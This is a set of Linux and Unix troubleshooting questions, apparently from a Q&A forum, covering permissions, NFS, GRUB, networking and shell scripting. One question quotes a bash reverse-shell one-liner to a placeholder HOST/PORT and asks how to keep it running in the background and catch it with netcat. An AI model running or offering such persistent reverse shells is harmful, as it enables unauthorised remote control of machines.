title: How to prevent a new user to inherit the files of a deleted user?

text: I just deleted a user with "userdel", without deleting its home dir. Right after the deletion, I created a new user, with its own home dir. What striked me as odd, was that the new user gets the UID of the deleted user (the last UID, incremented by 1). Consequently, the new user also has ownership and full permissions on the files of the deleted user! Is this normal behaviour? Is there a best practice on how to prevent this, short of specifying a UID each time when creating a new user? (Tested on Linux Mint 17 and verified on OpenSuse 13.1)


title: Use variables in find command

text: `mount |awk '{print $3}'` --> list of mount points               find "list of mount points"  -name  "aaa" -print      How can I redirect the result from previous line into find command as searching directory? I would like to have it done in one line:               mount |awk '{print $3}' | find "converting pipe result to a variable as directory" -name "aaa" -print      Possible to make it work this way?


title: Cron creates vim process but does not display vim

text: Under MacOSX 10.8.2 I am able to run vim as follows in the bash shell:               /usr/bin/vim -c "normal G" -c 'startinsert' ~/.journal      If I put the exact same command in a script:               #! /bin/bash          export DISPLAY=:0     echo -n -e "\n[" `date` "]:\n\n">>~/.journal          /usr/bin/vim -c "normal G" -c 'startinsert' ~/.journal      and run the script, it also opens vim correctly. However, if I put the script, named 01diaryscript, into crontab:               MAILTO=""     * * * * * ~/01diaryscript      vim does not open... BUT a new vim process is created with its own unique id every minute. On the other hand, if I use the vim, also 7.3, included in the MacVim package, cron works. Is there a way to force the vim process that is created when I run the first script in cron to be accessible?


title: AIX won't stop creating random .nfsXXXX files

text: I am trying to delete some files and folders, but I can't because the system keeps re-creating the files. All these files are named `.nfsXXXX`, where `XXXX` is some random 4-character hexadecimal number. Whenever I delete one of these files, it creates another one with a different name but the same contents. This is happening in several unrelated directories. What could be causing this and how can I fix it?


title: Linking synergyc: libcurl - undefined reference

text: I'm trying to compile synergy 1.5.0 on openSUSE 13.1 (Kernel 3.11.10-17). While linking, I get the following error:               ...     [ 83%] Built target ipc     [ 84%] Built target client     Linking CXX executable ../../../../../bin/synergyc     /usr/lib64/gcc/x86_64-suse-linux/4.8/../../../../lib64/libcurl.so: undefined reference to `SSL_CTX_set_srp_username'     /usr/lib64/gcc/x86_64-suse-linux/4.8/../../../../lib64/libcurl.so: undefined reference to `SSL_CTX_set_srp_password'     collect2: error: ld returned 1 exit status     make[2]: *** [../../bin/synergyc] Error 1     make[1]: *** [src/cmd/synergyc/CMakeFiles/synergyc.dir/all] Error 2     make: *** [all] Error 2     Going back to: /home/ara/rafik/.local/src/synergy-1.5.0-Source     Error: make failed: 512      I'm on an university machine, so I don't have root and have to do a local compile / install. I can ask the admin to install additional libraries, but his time is scarce and I would prefer not to do a try and error approach.. I did already ask him to install libcurl-devel, that didn't help. As suggested in this question I did check for missing libraries:               rafik@taurus:~/.local/src/synergy-1.5.0-Source> ldd /usr/lib64/gcc/x86_64-suse-linux/4.8/../../../../lib64/libcurl.so         linux-vdso.so.1 (0x00007fff1c6b7000)         libidn.so.11 => /usr/lib64/libidn.so.11 (0x00007fa71a842000)         libssh2.so.1 => /usr/lib64/libssh2.so.1 (0x00007fa71a617000)         libssl.so.1.0.0 => /lib64/libssl.so.1.0.0 (0x00007fa71a3b0000)         libcrypto.so.1.0.0 => /lib64/libcrypto.so.1.0.0 (0x00007fa719fc5000)         libgssapi_krb5.so.2 => /usr/lib64/libgssapi_krb5.so.2 (0x00007fa719d7e000)         liblber-2.4.so.2 => /usr/lib64/liblber-2.4.so.2 (0x00007fa719b6f000)         libldap-2.4.so.2 => /usr/lib64/libldap-2.4.so.2 (0x00007fa719923000)         libz.so.1 => /lib64/libz.so.1 (0x00007fa71970c000)         libpthread.so.0 => /lib64/libpthread.so.0 (0x00007fa7194ee000)         libc.so.6 => /lib64/libc.so.6 (0x00007fa71913f000)         libdl.so.2 => /lib64/libdl.so.2 (0x00007fa718f3a000)         libkrb5.so.3 => /usr/lib64/libkrb5.so.3 (0x00007fa718c6b000)         libk5crypto.so.3 => /usr/lib64/libk5crypto.so.3 (0x00007fa718a38000)         libcom_err.so.2 => /lib64/libcom_err.so.2 (0x00007fa718833000)         libkrb5support.so.0 => /usr/lib64/libkrb5support.so.0 (0x00007fa718626000)         libresolv.so.2 => /lib64/libresolv.so.2 (0x00007fa71840f000)         libsasl2.so.2 => /usr/lib64/libsasl2.so.2 (0x00007fa7181f1000)         /lib64/ld-linux-x86-64.so.2 (0x00007fa71ad28000)         libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007fa717fed000)         libselinux.so.1 => /lib64/libselinux.so.1 (0x00007fa717dc8000)         libpcre.so.1 => /usr/lib64/libpcre.so.1 (0x00007fa717b62000)      Looks like everything is there? What am I missing? Sidenote: synergy 1.4.12 compiles and links just fine on the same machine. Edit: I tried different versions on the same machine: versions 1.4.12 .14 and .15 compile and link fine, versions 1.4.16 onwards (4.16, 4.17, 4.18, 5.0) fail to link with the same linker error..


title: Only routing certain traffic through VPN

text: I have a central development server, running a VPN server, and a couple clients that need to connect to it. The server is running Apache, but is only accepting local requests (only listening on 127.0.0.1:80). I basically need to force each client connected to the VPN to route traffic to a certain hostname through the VPN and to the local Apache instance. For example:               Client requests google.com -> google.com     Client requests server -> vpn -> server:80      I know I can push route commands to clients when they connect to the VPN, now I just need to figure out what route to push to make that happen. At least, what is the `route` syntax/command for the client to add this route themselves?


title: Command Line Linux Distro for i386 and 128MB RAM

text: I'm looking for a command line Linux distro that runs under 128Mb of RAM and works with i386. All the distros that I've looked at so far seem to be too big, don't support that old of a processor, or are GUI OSs. I've looked at Arch Linux, Tiny Core, Gentoo, SuSE JEOS, and Slitaz. It will be mostly used for running GCC, Mono, Wine, and such.


title: Aggregate and group text file in bash

text: I have a big text file(with 5m lines) in this format(4 columns, separated by `;`): > string1; string2; string3; userId The _first 3 strings_ (SHA1s) form a single ID, called _appId_ (so it can be simlified like this: `appId; userId`). The second column (string2, or second part of _appId_ ) itself may be composed of some parts separated by comma `,`. The file is sorted. I would like to have the list of users of each app in front of it, like this: _input_ file:               app1, user1     app1, user2     app1, user3     app2, user1      _output_ file:               app1: user1, user2, user3     app2: user1      part of "real" _input_ file:               44a934ca4052b34e70f9cb03f3399c6f065becd0;bf038823f9633d25034220b9f10b68dd8c16d867;309;8ead5b3e0af5b948a6b09916bd271f18fe2678aa     44a934ca4052b34e70f9cb03f3399c6f065becd0;bf038823f9633d25034220b9f10b68dd8c16d867;309;a21245497cd0520818f8b14d6e405040f2fa8bc0     5c3eb56d91a77d6ee5217009732ff421e378f298;200000000000000001000000200000,6fd299187a5c347fe7eaab516aca72295faac2ad,e25ba62bbd53a72beb39619f309a06386dd381d035de372c85d70176c339d6f4;16;337556fc485cd094684a72ed01536030bdfae5bb     5c3eb56d91a77d6ee5217009732ff421e378f298;200000000000000001000000200000,6fd299187a5c347fe7eaab516aca72295faac2ad,e25ba62bbd53a72beb39619f309a06386dd381d035de372c85d70176c339d6f4;16;382f3aaa9a0347d3af9b35642d09421f9221ef7d     5c3eb56d91a77d6ee5217009732ff421e378f298;200000000000000001000000200000,6fd299187a5c347fe7eaab516aca72295faac2ad,e25ba62bbd53a72beb39619f309a06386dd381d035de372c85d70176c339d6f4;16;396529e08c6f8a98a327ee28c38baaf5e7846d14      The "real" _output_ file should look like this:               44a934ca4052b34e70f9cb03f3399c6f065becd0;bf038823f9633d25034220b9f10b68dd8c16d867;309:8ead5b3e0af5b948a6b09916bd271f18fe2678aa, a21245497cd0520818f8b14d6e405040f2fa8bc0     5c3eb56d91a77d6ee5217009732ff421e378f298;200000000000000001000000200000,6fd299187a5c347fe7eaab516aca72295faac2ad,e25ba62bbd53a72beb39619f309a06386dd381d035de372c85d70176c339d6f4;16:337556fc485cd094684a72ed01536030bdfae5bb, 382f3aaa9a0347d3af9b35642d09421f9221ef7d, 396529e08c6f8a98a327ee28c38baaf5e7846d14      How can I do this? * * * **Edit:** Also, there can be thousands of users per app, so how long can a line be? Is there any limitation for line length?


title: Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background

text: I want to run `bash -i >& /dev/tcp/HOST/PORT 0>&1` in the background at server1. I want to listen to the connection and send commands back at `HOST/PORT`. So, tcpdump isn't sufficient for that. I tried to run it in the background with: `bash -i >& /dev/tcp/HOST/PORT 0>&1 &` and `nohup bash -i >& /dev/tcp/HOST/PORT 0>&1 & disown` But the above commands do not seem to work. I also tried, `bg bash -i >& /dev/tcp/HOST/PORT 0>&1` It also is not working. Both don't allow me to connect to server1 properly when using `nc -l -vv -p PORT`. It does work when I just run `bash -i >& /dev/tcp/HOST/PORT 0>&1`, but that will close this specific connection when I disconnect the SSH connection and it also does not allow me to enter new commands after this command.


title: ext4 filesystems frequently corrupting

text: We have occasional power outages in our environment which seems to cause data corruption on our Ubuntu machines with ext4 filesystems. To my understanding ext4's default is to use `data=ordered` Which is described as "All data are forced directly out to the main file system prior to its metadata being committed to the journal." Does this mean that if there is a power outage, and the operation to write to disk is interrupted that there can be filesystem corruption? If I want to completely eliminate filesystem corruption due to power outages I'd guess I would use `data=journaled`, are there any negative impacts to this other than a performance hit? Bonus: How do I change the journaling type on my filesystem from `data=ordered` to another. I'm guessing I'd need to make modifications to the journal but I'm not quite sure how or in what order to perform these operations. It's just getting really annoying that Ubuntu (initramfs) doesnt have any filesystem recovery utilities so any way we can get to prevent us from having to pop in a live cd is great. My /etc/fstab               # /etc/fstab: static file system information.     #     # Use 'blkid -o value -s UUID' to print the universally unique identifier     # for a device; this may be used with UUID= as a more robust way to name     # devices that works even if disks are added and removed. See fstab(5).     #     #                     proc            /proc           proc    defaults        0       0     # / was on /dev/sda1 during installation     UUID=9cd71f51-53bb-44c7-affa-14293e59d596 /               ext4    errors=remount-ro 0       1     # swap was on /dev/sda5 during installation     UUID=5568cee1-a50b-4409-ad67-cdc5bfb592a3 none            swap    sw              0       0     /dev/scd0       /media/cdrom0   udf,iso9660 user,noauto,exec,utf8 0       0      OS version               -bash-4.0# uname -a     Linux LG-F3-19 2.6.31-14-server #48-Ubuntu SMP Fri Oct 16 15:07:34 UTC 2009 x86_64 GNU/Linux     -bash-4.0# lsb_release -a     No LSB modules are available.     Distributor ID: Ubuntu     Description:    Ubuntu 9.10     Release:        9.10     Codename:       karmic      Image of failure: http://imgur.com/odo4iBY References: https://www.kernel.org/doc/Documentation/filesystems/ext4.txt http://www.ibm.com/developerworks/library/l-journaling-filesystems/


title: How can I force chrooted programs to use a virtual ethernet device?

text: First off, this is **not** for security reasons, or for use in a production environment. It's because I want to mess around with different configuration management systems on relatively low-spec workstation, without using VMs (time and resource overhead) or LXC (version requirements and unneeded complexity). Chroots are relatively insecure, but they're also quick and painless to set up. Anyway: given a chroot environment and a virtual ethernet interface (eth0:1 or such), how can I make sure that programs in the chroot always use the virtual interface? Note that I don't need true network isolation, where the real interface can't be seen inside the chroot. I just want chrooted programs to answer to a different IP address than the host (or other chroots), so I can use server/client setups properly with e.g. Puppet. The host is running Debian Wheezy x64. Perhaps I am approaching this the wrong way. What I want is to have several chroots and be able to access each by hostname from the host system. Is that possible?


title: How can I use wget to create a list of URLs from an index.html?

text: So `wget` has an ability to recursively download files, however it does it one file at a time. I would like to pass in a directory URL, and for each URL it encounters in the recursion for it to spawn off a downloading process. One way I was thinking to do this is to somehow use `wget` to print out the URLs it encounters, and then feeding those URLs into separate instances of `wget` (via `wget URL_1 &`, `wget URL_2 &` etc). Any ideas?


title: Application fails if not in its directory?

text: I'm trying to run DeaDBeeF, a music player. It works fine if I'm in its directory, but if I'm anywhere else, it tells me that it "failed to find output plugin". Is there any way to get it to look in its own directory instead of my present working directory?


title: How to run this in sudo?

text: I have this line that I execute from php `sudo -u db2inst1 -s -- "/opt/ibm/db2/current/bin/db2 connect to PLC; /opt/ibm/db2/current/bin/db2 \"update EDU.contact set MOBILE_PHONE = '123'\""` it works fine on Sudo version **1.7.2**. Now I got new server with `SUSE Linux Enterprise Server 11 (x86_64)`. There was no sudo so I installed it from repository (Sudo version **1.6.9p17** ) But know the above syntax doesn't work. It throws `bin/bash: /opt/ibm/db2/current/bin/db2 connect to PLC; /opt/ibm/db2/current/bin/db2 "update EDU.contact set MOBILE_PHONE = '123'": No such file or directory` Any idea how I can make this work? If I run `/opt/ibm/db2/current/bin/db2 connect to PLC; /opt/ibm/db2/current/bin/db2 "update EDU.contact set MOBILE_PHONE = '123'"` under db2inst1 account everythings work just fine.


title: Proper way to join multi-volume tarballs?

text: So how should this be done? I have learned that using `cat` is the preferred way when using `split` to create multi-volume files, but what about when using `tar`'s own native multi-volume function? Thanks


title: Download the Complete Linux Kernel Collection

text: I am wanting to download EVERY version of the Linux kernel as source code, Debian files, and RPM files. Where can I find a single site where I can download them all at once? If that is not possible, I know I can get the source code for every kernel here (https://www.kernel.org/pub/linux/kernel/), but I need the .deb and .rpm files as well.


title: copying device nodes

text: I'm trying to transfer a working Linux installation to a new larger disk, so I've attached the new disk on a USB port, partitioned it and created filesystems. While copying all the files over I hit a snag on the /dev directory. "cp -a" does most of the job, but fails on e.g. /dev/video0 with "Operation not supported".               >ls -l /dev/video0    # on disk I copy from     crw-rw----+ 1 root video 81, 0 2011-09-25 17:15 video0          >ls -l dev/video0    # on disk copied to     crw-rw---- 1 root video 81, 0 2011-09-25 17:15 video0      So it seems everything was copied except for the "+" at the end of the access- rights field. What does that plus-sign mean and how can I create it on the destination disk?


title: A command to check file access permission for another user

text: I need to know how to check the effective file access permissions for a given user, but it takes long to do this manually starting from `/` up to the target file or directory, checking group, ...etc.


title: Change (reduce) Gnome 3 horizontal icon padding in notification area (Debian Wheezy)

text: I'm using Gnome 3.4 **classic mode** on Debian Wheezy. In the notification area, I would like to know **how to change (reduce) the horizontal spacing (or padding) of the icons**. By default, the icons are _very far from each other_ , so I'm wasting much space on this bar. ![Adwaita theme - bad spacing](http://i.stack.imgur.com/nYvR1.jpg) I'm using the default theme "Adwaita", but please note that when I change this to the "HighContrast" (or "HighContrastInverse") theme, the icons _get close to each other_ , which is what I want to achieve (but on the default theme): ![HighContrastInverse theme - good spacing](http://i.stack.imgur.com/nRHWf.jpg) I have been searching on the web and modifying a few .css files without success...


title: omap3530/3630 emulation on QEMU for overo and beagle machines

text: On QEMU's source code for beagle and overo I can see that the cpu emulated is the OMAP3430. I will like to know if it's a way to make QEMU emulate OMAP3530/3630 cpu's for those machines? On bealge :               s->cpu = omap3_mpu_init(sysmem, cpu_model, ram_size,                                                  serial_hds[0], serial_hds[1], serial_hds[2], serial_hds[3]);      How do I have to set cpu_model? On overo:               s->cpu = omap3_mpu_init(sysmem, omap3630, args->ram_size,                                 serial_hds[0], serial_hds[1], serial_hds[2], serial_hds[3]);      I changed omap3430 for omap3630 but I'm not sure that this will work. I'm using QEMU 1.4.0 Ubuntu's 13.04 distribution. I guess that all the applicable patches for beagle and overo machines are included on that distribution. For what I have seen while looking in google about beagle and overo patches, I think that the patches are there.


title: How to enter Erlang Mode in Emacs?

text: How do I enter erlang mode in emacs to get code highlighting, etc.? Whenever I open an erlang file nothing special happens. Do I need to change something in my `.emacs` file, or do I need to add a module to emacs, or something else?


title: Custom resolution in Fedora 11

text: I am currently building a custom embedded project for which I need to display Fedora 11 on a small screen 800*480 pixels. Can anyone one suggest to me a way of doing it. As I am a complete noob I tried to change the `.conf` file of xorg server but it is of no help. Also it is not updating. Also can anyone tell how to update the packages as currently package updating is not working.


title: What's the best way to count the number of files in a directory?

text: If parsing the output of `ls` is dangerous because it can break on some funky characters (spaces, `\n`, ... ), what's the best way to know the number of files in a directory? I usualy rely on `find` to avoid this parsing, but similarly, `find mydir | wc -l` will break for the same reasons. I'm working on Solaris right now, but I'm looking for a answer as portable across different unices and different shells as possible.


title: Permissions: What's the right way to give Apache more user permissions?

text: Context: I am making an in-browser control panel that gives me one button access to a library of scripts (.sh and .php) that I've written to process various kinds of data for a project. It's a "one stop shop" for managing data for this project. I've made good progress. I have apache, PHP and MySQL running, and I have my front end up at http://localhost. Good so far! Now the problem I'm having: I have an index.php which works fine, except the default apache user (which on my machine is called "_www") seemingly doesn't have permissions to run some of my scripts. So when I do:               <?php         echo `ls`;         echo `whoami`;         echo `/Path/To/Custom/Script.sh`;     ?>      I get the output of `ls` and `whoami`, but I get nothing back from the custom script. If I run the custom script as me (in an interactive shell), of course it works. Finally, my question: What's the _right_ way to configure this. Have the webserver run as me? Or change permissions so that _www can run my custom scripts? Thanks in advance for any help. I'm not an advanced Unix user, so sorry if this is a dumb question!


title: Why do I have GRUB and GRUB2 in my boot directory?

text: I'm running F17 and my boot directory has grub and grub2. Why do I need both of these? I thought only one grub was required to boot. Does each one have specific properties?


title: Grub error 15 (file not found)

text: I'm trying to fix a problem with a new installation. I'm running this existing distro (Ubuntu) from `/dev/sdb` with a new OS, Gentoo, installed on `/dev/sda`. I'm glad I took the trouble of setting these up on different disks because I can't boot into the new OS. All I get is grub error 15 "File not found". It also gives the UUID which I have verified is correct:               sudo blkid     /dev/sda1: LABEL="boot" UUID="b891774a-0b2d-4ab4-bcfa-23a11a97cae5" TYPE="ext2"      /dev/sda2: UUID="fc34999a-e85d-4c7b-8775-30510eb4c396" TYPE="swap"      /dev/sda3: LABEL="main" UUID="65a90a0d-a651-4215-8552-0c1859ab61dd" TYPE="ext4"      The menu.lst (on `/dev/sdb`) for the new OS is               title Gentoo Linux 3.10.7-r1     uuid b891774a-0b2d-4ab4-bcfa-23a11a97cae5     #root (hd0,0)     kernel /kernel-3.10.7-gentoo root=UUID=65a90a0d-a651-4215-8552-0c1859ab61dd      I also tried               kernel /boot/kernel-3.10.7-gentoo root=UUID=65a90a0d-a651-4215-8552-0c1859ab61dd      but since the UUID goes directly to the boot partition I think this is wrong. The kernel should be correct; if I mount `dev/sda1` and `ls` I see               grub  kernel-3.10.7-gentoo      Any ideas what I'm doing wrong? It might be very basic; I've only been using Linux for a few years and never Gentoo except for a few days in a `chroot`. * * * I should mention I also have grub2 installed on `dev/sda1` though I don't get as far there: it just shows the grub 'command line'.


title: Why can't I navigate into my Documents directory?

text: I'm in bash and running F17 as su. My `pwd` is               /home/user      and when I `ls` I see               Desktop Documents Downloads Music Pictures Public Templates Videos      However, I'm unable to `cd` into any of these. My error is               bash: cd: Desktop: No such file or directory      How come?


title: mailx and HP-UX to RedHat migration

text: We are migrating some servers from HP-UX to Linux RedHat, and we have to migrate about 100 shell scripts that are referencing /usr/bin/mailx (instead of /bin/mailx on Linux). We'd like to change all the 100 scripts (from /usr/bin/mailx to /bin/mailx) only if this is the last option. Are there better ways of doing this? P.S.: our system administrators don't want to create a symbolic lynk "/usr/bin/mailx" pointing to /bin/mailx (I didn't understand why, actually). Thanks in advance.


title: Transparent encryption of bash history?

text: I'm not sure if anyone has done such things before. I want bash history to be fully encrypted, prompt for password when in interactive session. Is that possible?


title: Changed background on Kali Linux and now desktop is buggy

text: I have been running the latest version of Kali Linux for about a month now. I got tired of seeing the default Kali Linux login screen, so I looked up how to change it. The answer I found said: > Go to `/roor/usr/share/images` and then delete the image file labeled > `login-desktop.png` and replace it with a png image of your choice. > > After which change the replacement image name to `login-desktop.png` and > reboot. I did exactly as recommended, but when I rebooted the desktop environment was odd. There was no toolbar on the top or bottom, and windows were missing the default bar on them with Minimize, Maximize, and Close buttons. What happened?


title: Archbang look on Archlinux

text: I installed archlinux but I want to get the look and feel of Archbang. Is there a way to find the config files or scripts for Archbang? http://bbs.archbang.org/viewtopic.php?id=2501 gives a list of packages but I also want the resources and quick ref of key bindings in the background, menus, default application and other things I don't know about. The reason I don't want to install Archbang is because I want to follow the Arch Way. the reason I want Archbang config files is because people already thought about usability and solved that problem for me. I like their solution.


title: Why a sleep 300 (5 minutes) can last several hours some time?

text: I have a MiniMac with the OSX system. My script is:               while true       do echo "Sleep 300 seconds = 5 minutes"       date       sleep 300       echo "end of sleep"       date     done      I want it to repeat every 5 minutes; but some time it is suspending for several hours when it does this "sleep 300", here is the result:               Sleep 300 seconds = 5 minutes     Fri Nov  8 15:52:49 CET 2013     end of sleep     Fri Nov  8 15:57:49 CET 2013     Sleep 300 seconds = 5 minutes     Fri Nov  8 15:57:49 CET 2013     end of sleep     Fri Nov  8 16:02:49 CET 2013     Sleep 300 seconds = 5 minutes     Fri Nov  8 16:02:49 CET 2013     end of sleep     Fri Nov  8 16:20:59 CET 2013     Sleep 300 seconds = 5 minutes     Fri Nov  8 16:20:59 CET 2013     Sleep 300 seconds = 5 minutes     Fri Nov  8 15:52:49 CET 2013     end of sleep


title: Can the kernel be moved to a different mtd while the system is running?

text: I am attempting to do a full update on a mobile `Linux Arm` device. I have successfully pivoted my file system root and have been able to flash a new file system to that mtd. What I would like to accomplish now is something similar for the kernel. I am wondering if it is possible to perhaps pivot the kernel to another mtd or even perhaps the RAM. Or maybe there is some other method I am overlooking? Any insight to avenues I could use would be greatly appreciated!


title: virtual box debian guest with nat & host-only adapters: 'No route to host' when trying to access host from guest

text: I have just set up a Debian guest inside VirtualBox, on a Fedora host. I use two adapters: NAT (internet for the guest, which works fine) and host-only (`ssh` from host to guest, `nfs`, etc.). I am able to `ssh` from host to guest, but not the other way around. Actually, except `ping` and `traceroute`, which both give results, all other network related tools give the error: 'No route to host'. Some information: The host IP is 192.168.29.1.               axirma@dev:~$ ip addr            1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN       link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00       inet 127.0.0.1/8 scope host lo       inet6 ::1/128 scope host       valid_lft forever preferred_lft forever       2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000       link/ether 08:00:27:25:1f:71 brd ff:ff:ff:ff:ff:ff       inet 10.0.2.15/24 brd 10.0.2.255 scope global eth0       inet6 fe80::a00:27ff:fe25:1f71/64 scope link       valid_lft forever preferred_lft forever       3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000       link/ether 08:00:27:6d:16:e6 brd ff:ff:ff:ff:ff:ff       inet 192.168.29.2/24 brd 192.168.29.255 scope global eth1       inet6 fe80::a00:27ff:fe6d:16e6/64 scope link       valid_lft forever preferred_lft forever       axirma@dev:~$ ip route       default via 10.0.2.2 dev eth0       10.0.2.0/24 dev eth0  proto kernel  scope link  src 10.0.2.15       192.168.29.0/24 dev eth1  proto kernel  scope link  src 192.168.29.2            axirma@dev:~$ ip route get 192.168.29.1       192.168.29.1 dev eth1  src 192.168.29.2           cache  ipid 0x1910 rtt 7ms rttvar 7ms cwnd 10            axirma@dev:~$ arp       Address                  HWtype  HWaddress           Flags Mask            Iface       10.0.2.2                 ether   52:54:00:12:35:02   C                     eth0       host                     ether   0a:00:27:00:00:00   C                     eth1            axirma@dev:~$ ping -c 4 192.168.29.1       PING 192.168.29.1 (192.168.29.1) 56(84) bytes of data.       64 bytes from 192.168.29.1: icmp_req=1 ttl=64 time=0.247 ms       64 bytes from 192.168.29.1: icmp_req=2 ttl=64 time=0.403 ms       64 bytes from 192.168.29.1: icmp_req=3 ttl=64 time=0.446 ms       64 bytes from 192.168.29.1: icmp_req=4 ttl=64 time=0.636 ms            --- 192.168.29.1 ping statistics ---       4 packets transmitted, 4 received, 0% packet loss, time 3003ms       rtt min/avg/max/mdev = 0.247/0.433/0.636/0.138 ms            axirma@dev:~$ traceroute 192.169.29.1       traceroute to 192.168.29.1 (192.168.29.1), 30 hops max, 60 byte packets        1  host (192.168.29.1)  0.152 ms !X  0.141 ms !X  0.143 ms !X            axirma@dev:~$ nc -vz 192.168.29.1 22       host [192.168.29.1] 22 (ssh) : No route to host            axirma@dev:~$ ssh alexandru@192.168.29.1       ssh: connect to host 192.168.29.1 port 22: No route to host        Please let me know if I can provide additional information.


title: Hang during 'touch' operation on NFS mount

text: I have two NFS clients mounted to an openfiler 2.99 NFS share at 192.0.2.3:   * 192.0.2.1 mounts `192.0.2.3:/mnt/nfs01/volnfs01/share01` with `rw,noatime,nodiratime,hard,rsize=32768,wsize=32768,noacl,nocto,tcp,nfsvers=3`   * 192.0.2.1 mounts `192.0.2.3:/mnt/nfs01/volnfs01/share02` with `rw,noatime,nodiratime,hard,rsize=32768,wsize=32768,nfsvers=3,tcp,noacl,nocto`   * 192.0.2.2 mounts `192.0.2.3:/mnt/nfs01/volnfs01/share02` with `rw,noatime,nodiratime,hard,rsize=32768,wsize=32768,nfsvers=3,tcp,noacl,nocto` ### `touch` broken My problem is with 192.0.2.2's NFS mount. When I touch a file in on that mount, the process hangs indefinitely... I used `strace touch /mnt/share02/this` and got this far...               rt_sigaction(SIGRTMIN, {0x3b71c05ae0, [], SA_RESTORER|SA_SIGINFO, 0x3b71c0f500}, NULL, 8) = 0     rt_sigaction(SIGRT_1, {0x3b71c05b70, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x3b71c0f500}, NULL, 8) = 0     rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0     getrlimit(RLIMIT_STACK, {rlim_cur=10240*1024, rlim_max=RLIM_INFINITY}) = 0     brk(0)                                  = 0xafb000     brk(0xb1c000)                           = 0xb1c000     open("/usr/lib/locale/locale-archive", O_RDONLY) = 3     fstat(3, {st_mode=S_IFREG|0644, st_size=99158576, ...}) = 0     mmap(NULL, 99158576, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fce244c0000     close(3)                                = 0     open("/mnt/share02/this", O_WRONLY|O_CREAT|O_NOCTTY|O_NONBLOCK, 0666                                                                         ^^^ stops touching                                                                          |                                                                          |      When I check `ps -elf` from another terminal, I see the process in "D" state...               [mpenning@host192_0_2_2 ~]$ ps -elf | awk '$2=="D"'     0 D mpenning  8157  8032  0  80   0 - 26293 rpc_wa 09:59 pts/2    00:00:00 touch /mnt/share02/this     [mpenning@host192_0_2_2 ~]$      `showmount` isn't finding a problem though....               [mpenning@host192_0_2_2 ~]$ showmount -e 192.0.2.3     Export list for 192.0.2.3:     /mnt/nfs01/volnfs01/share01 192.0.2.2/255.255.255.255,192.0.2.1/255.255.255.255     /mnt/nfs01/volnfs01/share02 192.0.2.2/255.255.255.255,192.0.2.1/255.255.255.255     [mpenning@host192_0_2_2 ~]$      Various status of NFS services...               [mpenning@host192_0_2_2 ~]$ service nfs status     rpc.svcgssd is stopped     rpc.mountd (pid 9168) is running...     nfsd (pid 9232 9231 9230 9229 9228 9227 9226 9225) is running...     rpc.rquotad (pid 9164) is running...     [mpenning@host192_0_2_2 ~]$ service rpcbind status     rpcbind (pid  9088) is running...     [mpenning@host192_0_2_2 ~]$ service nfslock status     rpc.statd (pid  9256) is running...     [mpenning@host192_0_2_2 ~]$      Network configuration (default gw isn't required since this is a dedicated layer2 NFS vlan):               [mpenning@host192_0_2_2 ~]$ sudo cat /etc/sysconfig/network-scripts/ifcfg-eth1     DEVICE=eth1     NM_CONTROLLED=no     ONBOOT=yes     BOOTPROTO=none     IPADDR=192.0.2.2     NETMASK=255.255.255.0     DNS2=none     TYPE=Ethernet     GATEWAY=     DNS1=none     IPV6INIT=no     USERCTL=no     MTU=9000     [mpenning@host192_0_2_2 ~]$      This looks pretty nasty. I have done the following on 192.0.2.2:   * Restarted all NFS   * `init 6` the machine   * `ping 192.0.2.3` to make sure it still has connectivity to the server   * Checked dmesg   * Checked `showmount -e 192.0.2.3` This feels like a permissions problem, but I don't know where to go from here... How can I fix this problem so I can read / write to any file on 192.0.2.2's mount of `192.0.2.3:/mnt/nfs01/volnfs01/share02`? * * * ### `touch` works If I execute the same `touch` command from 192.0.2.1, everything is fine...               rt_sigaction(SIGRTMIN, {0xb096e0, [], SA_SIGINFO}, NULL, 8) = 0     rt_sigaction(SIGRT_1, {0xb09b80, [], SA_RESTART|SA_SIGINFO}, NULL, 8) = 0     rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0     getrlimit(RLIMIT_STACK, {rlim_cur=10240*1024, rlim_max=RLIM_INFINITY}) = 0     uname({sys="Linux", node="host192_0_2_1.localdomain.local", ...}) = 0     brk(0)                                  = 0x8d4d000     brk(0x8d6e000)                          = 0x8d6e000     open("/usr/lib/locale/locale-archive", O_RDONLY|O_LARGEFILE) = 3     fstat64(3, {st_mode=S_IFREG|0644, st_size=99158544, ...}) = 0     mmap2(NULL, 2097152, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7574000     close(3)                                = 0     open("/mnt/share02/this", O_WRONLY|O_CREAT|O_NOCTTY|O_NONBLOCK|O_LARGEFILE, 0666) = 3     dup2(3, 0)                              = 0     close(3)                                = 0     utimensat(0, NULL, NULL, 0)             = 0     close(0)                                = 0     close(1)                                = 0     close(2)                                = 0     exit_group(0)                           = ?      ### `/etc/exports` from 192.0.2.3               [root@T1-Netfile01 backups]# head /etc/exports          # PLEASE DO NOT MODIFY THIS CONFIGURATION FILE!     #       This configuration file was autogenerated     #       by Openfiler. Any manual changes will be overwritten     #       Generated at: Fri Nov 8 9:35:39 CST 2013          /mnt/nfs01/volnfs01/share02 192.0.2.1/255.255.255.255(rw,anonuid=96,anongid=96,secure,root_squash,wdelay,sync)  192.0.2.2/255.255.255.255(rw,anonuid=96,anongid=96,secure,root_squash,wdelay,sync)          /mnt/nfs01/volnfs01/share01 192.0.2.1/255.255.255.255(rw,anonuid=96,anongid=96,secure,root_squash,wdelay,sync)  192.0.2.2/255.255.255.255(rw,anonuid=96,anongid=96,secure,root_squash,wdelay,sync)          [root@T1-Netfile01 backups]#


title: bind backslash to a non-standard keyboard key

text: I am using a swiss apple keyboard at the moment. This keyboard requires some unreasonable finger acrobatics to type a backslash (shift+right alt+7). I'd like to bind the backslash to another key combination, specifically shift+4, which right now produces a "ç" which I never need. Has anybody done something like that? I don't have any idea how to do that and I have not found any help yet. I use Linux mint xcfe. Thanks in advance for your help.


title: Automounting in KDE-3.5.10 without HAL

